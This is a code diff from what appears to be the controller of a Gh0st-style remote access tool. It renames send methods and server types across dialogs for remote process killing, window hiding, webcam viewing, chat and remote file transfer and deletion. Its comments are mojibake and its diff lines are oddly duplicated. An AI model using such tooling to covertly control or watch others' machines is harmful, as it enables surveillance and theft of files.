: DialogBase(CSystemDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
|
: DialogBase(CSystemDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
|
||||||
{
|
{
|
||||||
m_bHow= m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
m_bHow= m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||||
@@ -285,7 +285,7 @@ void CSystemDlg::OnPlistKill()
|
|||||||
dwOffset += sizeof(DWORD);
|
dwOffset += sizeof(DWORD);
|
||||||
}
|
}
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ض<EFBFBD><D8B6>ڱ<EFBFBD><DAB1>ض<EFBFBD><D8B6>в<EFBFBD><D0B2><EFBFBD>COMMAND_KILLPROCESS<53><53><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ض<EFBFBD><D8B6>ڱ<EFBFBD><DAB1>ض<EFBFBD><D8B6>в<EFBFBD><D0B2><EFBFBD>COMMAND_KILLPROCESS<53><53><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
|
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
@@ -308,7 +308,7 @@ VOID CSystemDlg::OnPlistRefresh()
|
|||||||
VOID CSystemDlg::GetProcessList(void)
|
VOID CSystemDlg::GetProcessList(void)
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_PSLIST;
|
BYTE bToken = COMMAND_PSLIST;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -321,7 +321,7 @@ void CSystemDlg::OnWlistRefresh()
|
|||||||
void CSystemDlg::GetWindowsList(void)
|
void CSystemDlg::GetWindowsList(void)
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_WSLIST;
|
BYTE bToken = COMMAND_WSLIST;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -363,7 +363,7 @@ void CSystemDlg::OnWlistClose()
|
|||||||
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
|
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
|
||||||
DWORD hwnd = data->ID; //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD> 4 djfkdfj dkfjf 4
|
DWORD hwnd = data->ID; //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD> 4 djfkdfj dkfjf 4
|
||||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
|
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -387,7 +387,7 @@ void CSystemDlg::OnWlistHide()
|
|||||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>
|
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>
|
||||||
DWORD dHow=SW_HIDE; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
|
DWORD dHow=SW_HIDE; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
|
||||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -409,7 +409,7 @@ void CSystemDlg::OnWlistRecover()
|
|||||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||||
DWORD dHow=SW_NORMAL;
|
DWORD dHow=SW_NORMAL;
|
||||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -431,7 +431,7 @@ void CSystemDlg::OnWlistMax()
|
|||||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||||
DWORD dHow=SW_MAXIMIZE;
|
DWORD dHow=SW_MAXIMIZE;
|
||||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -453,7 +453,7 @@ void CSystemDlg::OnWlistMin()
|
|||||||
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
|
||||||
DWORD dHow=SW_MINIMIZE;
|
DWORD dHow=SW_MINIMIZE;
|
||||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ class CSystemDlg : public DialogBase
|
|||||||
DECLARE_DYNAMIC(CSystemDlg)
|
DECLARE_DYNAMIC(CSystemDlg)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CSystemDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
CSystemDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||||
virtual ~CSystemDlg();
|
virtual ~CSystemDlg();
|
||||||
|
|
||||||
VOID GetProcessList(void);
|
VOID GetProcessList(void);
|
||||||
|
|||||||
@@ -10,7 +10,7 @@
|
|||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CTalkDlg, CDialog)
|
IMPLEMENT_DYNAMIC(CTalkDlg, CDialog)
|
||||||
|
|
||||||
CTalkDlg::CTalkDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
CTalkDlg::CTalkDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||||
: DialogBase(CTalkDlg::IDD, pParent, IOCPServer, ContextObject, IDR_MAINFRAME)
|
: DialogBase(CTalkDlg::IDD, pParent, IOCPServer, ContextObject, IDR_MAINFRAME)
|
||||||
{
|
{
|
||||||
}
|
}
|
||||||
@@ -42,7 +42,7 @@ BOOL CTalkDlg::OnInitDialog()
|
|||||||
|
|
||||||
SetIcon(m_hIcon, FALSE);
|
SetIcon(m_hIcon, FALSE);
|
||||||
BYTE bToken = COMMAND_NEXT;
|
BYTE bToken = COMMAND_NEXT;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
|
|
||||||
return TRUE; // return TRUE unless you set the focus to a control
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
@@ -66,7 +66,7 @@ void CTalkDlg::OnBnClickedButtonTalk()
|
|||||||
|
|
||||||
m_EditTalk.SetWindowText(NULL);
|
m_EditTalk.SetWindowText(NULL);
|
||||||
|
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
|
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ class CTalkDlg : public DialogBase
|
|||||||
DECLARE_DYNAMIC(CTalkDlg)
|
DECLARE_DYNAMIC(CTalkDlg)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CTalkDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
CTalkDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
virtual ~CTalkDlg();
|
virtual ~CTalkDlg();
|
||||||
|
|
||||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|||||||
@@ -108,7 +108,7 @@ void CVideoDlg::SaveAvi(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
CVideoDlg::CVideoDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||||
: DialogBase(CVideoDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_CAMERA)
|
: DialogBase(CVideoDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_CAMERA)
|
||||||
{
|
{
|
||||||
m_nCount = 0;
|
m_nCount = 0;
|
||||||
@@ -208,7 +208,7 @@ BOOL CVideoDlg::OnInitDialog()
|
|||||||
|
|
||||||
BYTE bToken = COMMAND_NEXT;
|
BYTE bToken = COMMAND_NEXT;
|
||||||
|
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
SetIcon(m_hIcon, TRUE);
|
SetIcon(m_hIcon, TRUE);
|
||||||
@@ -304,7 +304,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
|
|||||||
m_pVideoCodec = NULL;
|
m_pVideoCodec = NULL;
|
||||||
// ֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
// ֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -329,7 +329,7 @@ void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
|
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
|
||||||
if (!bIsChecked)
|
if (!bIsChecked)
|
||||||
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -163,7 +163,7 @@ class CVideoDlg : public DialogBase
|
|||||||
DECLARE_DYNAMIC(CVideoDlg)
|
DECLARE_DYNAMIC(CVideoDlg)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CVideoDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
CVideoDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
virtual ~CVideoDlg();
|
virtual ~CVideoDlg();
|
||||||
|
|
||||||
LPBITMAPINFO m_BitmapInfor_Full;
|
LPBITMAPINFO m_BitmapInfor_Full;
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ static UINT indicators[] = {
|
|||||||
|
|
||||||
using namespace file;
|
using namespace file;
|
||||||
|
|
||||||
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||||
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_File)
|
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_File)
|
||||||
{
|
{
|
||||||
m_ProgressCtrl = nullptr;
|
m_ProgressCtrl = nullptr;
|
||||||
@@ -468,7 +468,7 @@ void CFileManagerDlg::FixedRemoteDriveList()
|
|||||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||||
|
|
||||||
BYTE bPacket = COMMAND_FILE_GETNETHOOD;
|
BYTE bPacket = COMMAND_FILE_GETNETHOOD;
|
||||||
m_iocpServer->Send(m_ContextObject, &bPacket, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bPacket, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize)
|
void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize)
|
||||||
@@ -717,7 +717,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
|||||||
|
|
||||||
bPacket[0] = COMMAND_LIST_FILES;
|
bPacket[0] = COMMAND_LIST_FILES;
|
||||||
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
|
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||||
LocalFree(bPacket);
|
LocalFree(bPacket);
|
||||||
|
|
||||||
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
|
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
|
||||||
@@ -744,7 +744,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize);
|
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize);
|
||||||
bPacket[0] = COMMAND_FILE_GETINFO;
|
bPacket[0] = COMMAND_FILE_GETINFO;
|
||||||
memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1);
|
memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||||
LocalFree(bPacket);
|
LocalFree(bPacket);
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
@@ -769,7 +769,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
}
|
}
|
||||||
if (directory.Compare(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>")) == 0) {
|
if (directory.Compare(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>")) == 0) {
|
||||||
BYTE byToken = COMMAND_FILE_RECENT;
|
BYTE byToken = COMMAND_FILE_RECENT;
|
||||||
m_iocpServer->Send(m_ContextObject, &byToken, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
m_Remote_Path = directory;
|
m_Remote_Path = directory;
|
||||||
@@ -779,7 +779,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
|
|
||||||
bPacket[0] = COMMAND_LIST_FILES;
|
bPacket[0] = COMMAND_LIST_FILES;
|
||||||
memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1);
|
memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||||
LocalFree(bPacket);
|
LocalFree(bPacket);
|
||||||
|
|
||||||
m_Remote_Directory_ComboBox.InsertString(0, directory);
|
m_Remote_Directory_ComboBox.InsertString(0, directory);
|
||||||
@@ -937,7 +937,7 @@ void CFileManagerDlg::OnRemoteView()
|
|||||||
void CFileManagerDlg::OnRemoteRecent()
|
void CFileManagerDlg::OnRemoteRecent()
|
||||||
{
|
{
|
||||||
BYTE byToken = COMMAND_FILE_RECENT;
|
BYTE byToken = COMMAND_FILE_RECENT;
|
||||||
m_iocpServer->Send(m_ContextObject, &byToken, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::OnRemoteDesktop()
|
void CFileManagerDlg::OnRemoteDesktop()
|
||||||
@@ -1131,7 +1131,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
|
|||||||
|
|
||||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR));
|
memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR));
|
||||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||||
LocalFree(bPacket);
|
LocalFree(bPacket);
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||||
@@ -1193,7 +1193,7 @@ BOOL CFileManagerDlg::SendUploadJob()
|
|||||||
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
|
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
|
||||||
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
|
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
|
||||||
memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR));
|
memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR));
|
||||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||||
LocalFree(bPacket);
|
LocalFree(bPacket);
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||||
@@ -1221,7 +1221,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
|
|||||||
|
|
||||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
|
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||||
LocalFree(bPacket);
|
LocalFree(bPacket);
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||||
@@ -1376,7 +1376,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
|||||||
SendStop(TRUE);
|
SendStop(TRUE);
|
||||||
else {
|
else {
|
||||||
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1439,7 +1439,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
|
|||||||
bToken[0] = COMMAND_CONTINUE;
|
bToken[0] = COMMAND_CONTINUE;
|
||||||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1534,13 +1534,13 @@ void CFileManagerDlg::EndRemoteDeleteFile()
|
|||||||
void CFileManagerDlg::SendException()
|
void CFileManagerDlg::SendException()
|
||||||
{
|
{
|
||||||
BYTE bBuff = COMMAND_FILE_EXCEPTION;
|
BYTE bBuff = COMMAND_FILE_EXCEPTION;
|
||||||
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::SendContinue()
|
void CFileManagerDlg::SendContinue()
|
||||||
{
|
{
|
||||||
BYTE bBuff = COMMAND_CONTINUE;
|
BYTE bBuff = COMMAND_CONTINUE;
|
||||||
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::SendStop(BOOL bIsDownload)
|
void CFileManagerDlg::SendStop(BOOL bIsDownload)
|
||||||
@@ -1552,7 +1552,7 @@ void CFileManagerDlg::SendStop(BOOL bIsDownload)
|
|||||||
BYTE bBuff[2];
|
BYTE bBuff[2];
|
||||||
bBuff[0] = COMMAND_STOP;
|
bBuff[0] = COMMAND_STOP;
|
||||||
bBuff[1] = bIsDownload;
|
bBuff[1] = bIsDownload;
|
||||||
m_iocpServer->Send(m_ContextObject, bBuff, sizeof(bBuff));
|
m_iocpServer->Send2Client(m_ContextObject, bBuff, sizeof(bBuff));
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::ShowProgress()
|
void CFileManagerDlg::ShowProgress()
|
||||||
@@ -1668,7 +1668,7 @@ void CFileManagerDlg::SendTransferMode()
|
|||||||
BYTE bToken[5];
|
BYTE bToken[5];
|
||||||
bToken[0] = COMMAND_SET_TRANSFER_MODE;
|
bToken[0] = COMMAND_SET_TRANSFER_MODE;
|
||||||
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
|
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
|
||||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::SendFileData()
|
void CFileManagerDlg::SendFileData()
|
||||||
@@ -1707,7 +1707,7 @@ void CFileManagerDlg::SendFileData()
|
|||||||
|
|
||||||
if (nNumberOfBytesRead > 0) {
|
if (nNumberOfBytesRead > 0) {
|
||||||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||||
}
|
}
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
@@ -1759,7 +1759,7 @@ void CFileManagerDlg::OnRemoteNewFolder()
|
|||||||
